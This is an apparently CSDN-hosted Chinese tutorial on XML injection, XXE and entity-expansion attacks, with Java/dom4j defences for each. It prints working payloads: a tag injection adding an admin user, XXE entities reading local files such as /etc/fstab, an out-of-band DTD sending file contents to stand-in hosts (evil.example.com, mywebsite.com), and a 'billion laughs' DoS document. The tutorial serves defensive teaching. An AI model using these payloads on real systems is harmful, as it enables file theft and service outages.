XML注入攻击总结

普通的XML注入

  • 原理
    XML注入攻击和SQL注入攻击的原理一样,利用了XML解析机制的漏洞,如果系统对用户输入"<",">"没有做转义的处理,攻击者可以修改XML的数据格式,或者添加新的XML节点,就会导致解析XML异常,对流程产生影响。

  • 如何注入攻击

  1. 如下XML是用于注册访问用户,其中用户名是由用户自己输入的。
<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">用户输入</user>
  1. 攻击者在输入用户的时候,可以构造" user1 < /user> < user role=“admin”>user2"数据去拼接XML,之后整个XML字符串将会变成如下格式。这样就添加了一个管理员权限的用户。
<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">user1</user>
<user role="admin">user2</user>
  • 如何防护
  1. 使用白名单校验
    可以使用正则的方式对用户的输入做严格的校验,比如用户输入的用户名只能含有中文,英文大小写字母,数字以及下划线等等。
  2. 使用安全的XML库
    正确代码使用dom4j来构建XML,dom4j是一个定义良好,开源的XML工具库,Dom4j将会对文本数据进行XML编码,从而使得XML的原始结构和格式免受破坏。
    代码中最终生成的XML会进行编码,会被替换,从而防止了XML注入。
    @Test
    public void testDom4j() {
        Document document = DocumentHelper.createDocument();
        Element user = document.addElement("user");
        user.addAttribute("role","guest");
        user.setText(REPLACE_XML);
        String xml = document.asXML();
        System.out.println(xml);
    }
<?xml version="1.0" encoding="UTF-8"?>
<user role="guest">user1&lt;/user&gt;&lt;user role="admin"&gt;user2</user>
  1. 对用户输入的字段进行转码处理
    代码中对传过来的参数进行了转码处理,之后去构造XML字符串,就不会导致XML字符串结构被篡改。
    @Test
    public void testTrans() {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n" +
                "<user role=\"guest\">%s</user>";
        String replace = "user1</user><user role=\"admin\">user2";
        String format = String.format(xml, xmlConversion(replace));
        System.out.println(format);
    }
    
    /**
     * 转义xml中不支持的特殊字符
     * 
     * @param strXml
     * @return
     */
    private String xmlConversion(String strXml){
        String conversionStr = "";
        if(strXml == null){
            return null;
        }
        conversionStr = strXml.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;").
                replaceAll("'","&apos;").replaceAll("\"","&quot;");
        return conversionStr;
    }
  • 项目代码中的排查
    首先要找到前台在那些地方拼接了XML,之后需要查看对应的代码逻辑,查看后台是否存在没有处理前端数据直接拼接的情况,如果存在则进行对应的修改,转码,白名单,使用安全的XML库等等。

XML外部实体注入攻击

  • 原理
    XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
  • 如何注入攻击,注入攻击类型
  1. 利用外部实体的引用功能实现对任意文件的读取
    这个是解析的xml文件,我们定义了一个通用实体,并且在文件中去引用这个实体。
    password.txt文件中记录了敏感的一些信息。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE updateProfile [
        <!ENTITY file SYSTEM "file:///d:/xml/password.txt"> ]>
<updateProfile>
    <firstname>joe</firstname>
    <lastname>&file;</lastname>
</updateProfile>

具体解析代码

    @Test
    public void testXXE1() throws DocumentException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+ lastname);// 这边代码会输出password.txt文件里面的内容
    }

在这里插入图片描述
2. 使用参数实体和避免XML解析语法错误,构造恶意的实体解析
使用参数实体和<CDATA[]>避免XML解析语法错误,构造恶意的实体解析:
XML文件:构造参数实体 % start;% goodies;% end;% dtd 定义一个恶意的combine.dtd

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd">
%dtd;
]>
<roottag>&all;</roottag>

恶意DTD combine.dtd中定义实体&all;

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

甚至可以这样构造恶意的DTD combine.dtd,将结果发送到目标地址,最后会获得file:///etc/fstab文件。

<?xml version=”1.0” encoding=”UTF-8”?>
<!ENTITY % send “<!ENTITY all SYSTEM ‘http://mywebsite.com/?%gooddies;’>”>
%send;
  • 如何防护
  1. 禁止解析DTDs
    @Test
    public void testXXE2() throws DocumentException, SAXException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        // 禁止解析DTDS
        reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁止包含doctype
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false); //禁止外部实体解析
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //禁止外部参数解析
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+lastname);
    }

这边对上面列到的testXXE方法做了处理,设置了禁止解析DTDs属性,同时也禁止了参数实体和外部实体的解析,该方式不仅可以防止XML的外部实体攻击也能防止XML内部实体攻击。
具体再运行代码,会抛出如下异常。可以看出DTDs已经被禁止。
在这里插入图片描述

  1. 禁止解析外部一般实体和外部参数实体
    @Test
    public void testXXE3() throws DocumentException, SAXException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        // 禁止解析DTDS
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false); //禁止外部实体解析
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //禁止外部参数解析
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+lastname);
    }

这边具体运行之后是不能获得lastname的值,可以看到外部参数实体没有被解析出来。(此方法可以防止外部实体攻击,不能预防内部实体攻击)
在这里插入图片描述
3. 禁止解析外部实体
正确示例方法定义一个CustomResolver类来实现接口org.xml.sax.EntityResolver。在这个类中实现自定义的处理外部实体机制。自定义实体解析函数中使用一个简单的白名单,白名单范围里面则返回对应的文件内容,不在白名单范围里面的则返回一个空的实体解析内容。

    // 自定义外部实体处理
    private class CustomResolver implements EntityResolver {
        // 自定义的一个白名单
        String whitePath = "file:///d:/xml/password.txt";

        @Override
        public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {
            if (systemId.equals(whitePath)) {
                System.out.println("Resolving entity: " + publicId + " " + systemId);
                return new InputSource(whitePath);
            } else {
                // 解析输入恶意的xml内容时,返回空
                return new InputSource();
            }
        }
    }

    @Test
    public void testXXE() throws DocumentException, SAXException {
        File file = new File("d://xml//demo.xml");
        SAXReader reader = new SAXReader();
        // 设置自定义的外部实体处理
        reader.setEntityResolver(new CustomResolver());
        Document document = reader.read(file);
        Element rootElement = document.getRootElement();
        String lastname = rootElement.element("lastname").getText();
        System.out.println("get the password "+lastname);
    }

因为“file:///d:/xml/password.txt”这个路径是加在白名单里面的,所有上面的代码可以运行通过,能够解析到password.txt文件里面的内容。
在这里插入图片描述
如果不在白名单里面,会返回空,或者里面可以加上别的具体的业务逻辑。

XML内部实体注入攻击

  • 说明
    XML内部实体是实体的内容已经在Doctype中声明。内部实体格式:。内部 实体攻击比较常见的是XML Entity Expansion攻击,它主要试图通过消耗目标程序的服务器内存资源导致DoS攻击。外部实体攻击和内部实体扩展攻击有不同的防护措施(禁止DTDs解析可以防护外部实体和内部实体攻击)。
  • 如何注入攻击,注入攻击类型
  1. 拒绝服务攻击
    下面恶意的XML内部实体解析,占用服务器内存资源,导致拒绝服务攻击。
<?xml version="1.0"?>
<!DOCTYPE lolz [
​
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
  • 如何防护
    内部实体扩展攻击最好的防护措施是禁止DTDs的解析。另外也可以对内部实体数量进行限制,以消减内部实体 展攻击发生的可能性。所以在不需要使用内部实体时,应该禁止DTDs解析,需要使用内部实体时,严格限制内部实体的数量及xml内容的大小。
  1. 禁止解析DTDs
    同上
  2. 限制实体解析个数
    通过设置setFeature(“http://javax.xml.XMLConstants/feature/secure-processing”, true);限制实体个数不能超过100,000个。
    @Test
    public void testXmlDos() throws SAXException, DocumentException {
        File file = new File("d://xml//dos.xml");
        SAXReader reader = new SAXReader();
        // 这边设置实体个数不超过10000个
        reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
        Document document = reader.read(file);
        String xml = document.asXML();
        System.out.println(xml);
    }

运行结果如果实体超过100,000的话,会直接抛出异常。
在这里插入图片描述

参考链接以及项目地址

  • 参考链接
    https://xz.aliyun.com/t/3357#toc-0
    https://www.freebuf.com/column/181064.html

  • 项目地址
    https://github.com/yzh19961031/blogDemo/tree/master/xml

  • 18
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值